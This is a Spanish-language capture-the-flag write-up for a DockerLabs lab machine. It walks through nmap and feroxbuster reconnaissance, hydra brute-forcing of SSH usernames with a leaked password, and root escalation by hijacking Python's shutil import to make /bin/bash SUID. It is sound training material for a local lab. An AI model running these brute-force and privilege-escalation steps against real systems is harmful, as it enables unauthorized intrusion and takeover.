Library
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯Resolución
🔍 Reconocimiento
Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:
ping -c 3 172.17.0.2

📌 El valor TTL=64 → Linux
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
-
-sVC: Escaneo de versiones de servicios y ejecución de scripts. -
-p-: Escanea todos los puertos (1-65535). -
-n: Desactiva la resolución DNS. -
--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.

🔍 Servicios detectados: -
🔐 SSH en el puerto
22 -
🌐 HTTP en el puerto
80
🔍 Inspección manual del sitio en http://172.17.0.2:
-
Página genérica de Apache
-
⚙️ Sin info útil en el código fuente

🕵️Análisis de vulnerabilidades
Hacemos un escaneo de directorios y de todos los ficheros
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -e -x php,txt,html,jpg,js -u http://172.17.0.2/

📌 Resultado relevante:
index.php→ contieneJIFGHDS87GYDFIGD(probablemente una contraseña codificada)
🎯 Explotación
Vemos que usuario puede ser con el comando
hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p JIFGHDS87GYDFIGD -t 4 ssh://172.17.0.2:22
🔐 Usuario encontrado: carlos

Conectamos a ssh como usuario carlos con su contraeña
ssh carlos@172.17.0.2
✅ ¡Acceso concedido como carlos!

📈 Escalada de privilegios
Una vez dentro del sistema, ejecutamos el comando sudo -l para listar los privilegios de sudo del usuario actual. Esto nos permite identificar qué comandos se pueden ejecutar como administrador sin necesidad de proporcionar una contraseña, lo que podría abrir la puerta a una
sudo -l

🧠 El usuario carlos puede ejecutar un script Python como root.
import shutil
def copiar_archivo(origen, destino):
shutil.copy(origen, destino)
print(f'Archivo copiado de {origen} a {destino}')
if __name__ == '__main__':
origen = '/opt/script.py'
destino = '/tmp/script_backup.py'
copiar_archivo(origen, destino)
Creamos un archivo shutil.py en el mismo directorio con el siguiente contenido:
import os
os.system("chmod 4777 /bin/bash")
y ejecutamos el script
sudo /usr/bin/python3 script.py
